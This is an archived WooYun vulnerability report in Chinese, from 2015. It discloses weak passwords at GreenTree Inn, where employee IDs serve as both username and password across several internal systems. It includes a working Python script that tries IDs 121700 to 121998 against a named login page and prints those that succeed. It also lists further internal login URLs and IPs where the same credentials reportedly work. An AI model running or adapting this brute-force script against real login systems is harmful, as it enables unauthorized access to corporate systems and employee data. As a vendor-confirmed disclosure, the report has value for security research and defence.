格林豪泰弱口令可登陆多个内部系统（附测试脚本）

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0137267

漏洞标题：格林豪泰弱口令可登陆多个内部系统（附测试脚本）

漏洞作者：路人甲

提交时间：2015-08-27 10:16

修复时间：2015-10-15 15:18

公开时间：2015-10-15 15:18

漏洞类型：服务弱口令

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-27：细节已通知厂商并且等待厂商处理中
2015-08-31：厂商已经确认，细节仅向厂商公开
2015-09-10：细节向核心白帽子及相关领域专家公开
2015-09-20：细节向普通白帽子公开
2015-09-30：细节向实习白帽子公开
2015-10-15：细节向公众公开

简要描述：

弱口令
泄漏大量信息
代码渣渣，仅供测试

详细说明：

http://mis.998.com/GreenTreeInn/Login.aspx

该系统存在大量弱口令
而且多个系统的密码都是一样的
这里仅仅测试密码一致的用户
测试从121700到121999的用户
其中

用户名与密码一致
测试脚本如下

import urllib
import urllib2
import sys   
import httplib
reload(sys)   
    
def http_post(mssid):
	
	headers = {'Content-Type': 'text/html; charset=utf-8',
'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0'}
	conn = httplib.HTTPConnection('mis.998.com',timeout=60)
	
	conn.request(method='GET',
                     url='/GreenTreeInn/Login.aspx?__VIEWSTATE=%2FwEPDwUJLTc5ODM1MjU1ZGT30ltSa%2BaePtUM7nljNu8o%2B6C%2B%2BnSemxsTdnigxZ917A%3D%3D&Button1=&__VIEWSTATEGENERATOR=D163A9F1&__EVENTVALIDATION=%2FwEdAATt7vpG6L5elJ6XYvxzyyJxwFzS9Q9XYLeSu6PO5aruGM34O%2FGfAV4V4n0wgFZHr3fWF4n%2F0eHNkrycm50r%2BqLZUgUG6wYq6sEpWbM867W%2BzAXrCND7Dl0vpAgSNMVLcTc%3D&txt_uname='+mssid+'&txt_upwd='+mssid,
                     headers = headers)
	
        resp = conn.getresponse()
        html_doc = resp.read()
        conn.close()   
	if resp.getheader("set-cookie").count(mssid+'@998.com') >0:
		print mssid 
	#print resp.getheader("set-cookie") 
	#print type(resp.msg)	
	#print resp.msg.getplist()
	#return html_doc
for i in range(121700,121999):
	sys.setdefaultencoding('utf-8') 
	http_post(str(i))

参考 WooYun: 格林豪泰弱口令可登陆多个系统，且可以SQL注入
同一个用户可以登录

http://101.227.68.206/Home/logIn?ReturnUrl=%2F
http://mis.998.com:5655/Home/Logon
http://mis.998.com/GreenTreeInn/Login.aspx
http://101.227.68.208/Login.aspx
http://oa.998.com
http://erp.998.com
http://bill.998.com/login;jsessionid=126414A1ED950FE55FAC7C13B7F93F47

这些应用